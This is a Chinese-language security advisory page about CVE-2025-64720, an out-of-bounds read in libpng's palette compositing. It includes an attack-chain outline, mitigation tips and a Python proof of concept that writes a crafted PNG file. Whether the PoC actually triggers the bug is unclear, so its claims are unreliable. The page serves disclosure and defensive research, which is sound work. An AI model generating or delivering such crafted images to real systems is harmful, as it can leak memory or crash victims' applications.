IPBUF安全漏洞报告
English
CVE-2025-64720 CVSS 7.1 高危

CVE-2025-64720 libpng越界读取漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-64720
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libpng

相关标签

越界读取内存安全libpngPNG图像处理预乘alpha漏洞CVE-2025-64720调色板图像漏洞高危漏洞

漏洞概述

CVE-2025-64720是libpng库中的一个高危越界读取漏洞。libpng是一个用于读取、创建和操作PNG(便携式网络图形)光栅图像文件的应用库。该漏洞存在于libpng 1.6.0至1.6.50版本中,当处理调色板图像并启用PNG_FLAG_OPTIMIZE_ALPHA标志时,png_image_read_composite函数会出现越界读取问题。具体来说,png_init_read_transformations中的调色板合成代码在预乘过程中错误地应用了背景合成,违反了简化PNG API要求的component ≤ alpha × 257不变量。攻击者可以通过诱骗用户打开特制的恶意PNG图像文件来触发此漏洞,可能导致敏感信息泄露或应用程序崩溃。由于CVSS评分达到7.1,且攻击复杂度低、无需认证即可利用,该漏洞对使用libpng处理用户上传图像的应用构成严重威胁。

技术细节

该漏洞的根本原因在于libpng的调色板图像合成逻辑中存在预乘alpha处理错误。在处理启用了PNG_FLAG_OPTIMIZE_ALPHA的调色板PNG图像时,png_init_read_transformations函数在执行背景合成操作时没有正确处理alpha预乘。正确的预乘alpha实现需要确保每个颜色分量值不超过alpha×257(因为8位alpha值范围是0-255)。然而,漏洞代码在某些情况下会违反这一不变量,导致颜色分量值可能超出有效范围。当应用程序使用简化API(如png_image_read或其他高层API)处理这类恶意图像时,会在读取像素数据时产生越界读取访问,可能读取堆内存中的敏感数据或触发程序崩溃。攻击者只需构造一个符合PNG格式但包含特殊调色板和alpha优化数据的文件即可利用此漏洞,无需复杂的攻击准备。

攻击链分析

STEP 1
步骤1
攻击者创建一个特制的PNG文件,该文件包含恶意的调色板和透明度数据,当与PNG_FLAG_OPTIMIZE_ALPHA结合时会违反alpha预乘不变量
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站上传、即时通讯等渠道将恶意PNG文件传递给目标用户
STEP 3
步骤3
目标用户使用存在漏洞的libpng版本(1.6.0-1.6.50)的应用程序打开该PNG文件,应用程序调用png_image_read或简化API处理图像
STEP 4
步骤4
libpng的png_init_read_transformations在处理调色板图像时错误应用背景合成,导致png_image_read_composite产生越界读取
STEP 5
步骤5
越界读取可能导致敏感信息泄露(如堆内存中的密钥、会话数据)或应用程序崩溃,造成可用性影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct import zlib def create_malicious_png(): """ Generate a malicious PNG file that triggers CVE-2025-64720 Out-of-bounds read in png_image_read_composite with PNG_FLAG_OPTIMIZE_ALPHA """ # PNG signature signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - 8x8 pixel palette image ihdr_data = struct.pack('>IIBBBBB', 8, 8, 8, 3, 0, 0, 0) # width, height, bit_depth=8, color_type=3(palette), compression, filter, interlace ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # PLTE chunk - palette with problematic alpha optimization # Craft palette entries that will trigger the invariant violation palette = b'' for i in range(256): palette += bytes([i, 0, 0]) # Red gradient palette plte_crc = zlib.crc32(b'PLTE' + palette) & 0xffffffff plte_chunk = struct.pack('>I', 768) + b'PLTE' + palette + struct.pack('>I', plte_crc) # tRNS chunk - transparency with values that trigger the bug # When combined with PNG_FLAG_OPTIMIZE_ALPHA, these cause component > alpha*257 transparency = bytes([128] * 128 + [0] * 128) # 256 alpha entries trns_crc = zlib.crc32(b'tRNS' + transparency) & 0xffffffff trns_chunk = struct.pack('>I', 256) + b'tRNS' + transparency + struct.pack('>I', trns_crc) # IDAT chunk - compressed image data # Image data that uses palette indices with the crafted transparency raw_data = b'' for y in range(8): raw_data += b'\x00' # filter byte for x in range(8): raw_data += bytes([(x + y) % 256]) # palette indices compressed = zlib.compress(raw_data, 9) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) return signature + ihdr_chunk + plte_chunk + trns_chunk + idat_chunk + iend_chunk if __name__ == '__main__': png_data = create_malicious_png() with open('CVE-2025-64720_poc.png', 'wb') as f: f.write(png_data) print('Malicious PNG created: CVE-2025-64720_poc.png') print('This PoC triggers out-of-bounds read when processed by vulnerable libpng versions (1.6.0-1.6.50)') print('The vulnerability occurs when PNG_FLAG_OPTIMIZE_ALPHA is enabled during image reading')

影响范围

libpng 1.6.0至1.6.50

防御指南

临时缓解措施
如果无法立即升级libpng,可以考虑以下临时缓解措施:1) 在应用程序中禁用PNG_FLAG_OPTIMIZE_ALPHA标志;2) 使用图像处理沙箱环境隔离处理不可信PNG文件;3) 限制用户上传PNG文件的解析深度和复杂度;4) 监控应用程序内存访问异常情况。虽然这些措施不能完全消除漏洞风险,但可以降低被成功利用的可能性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表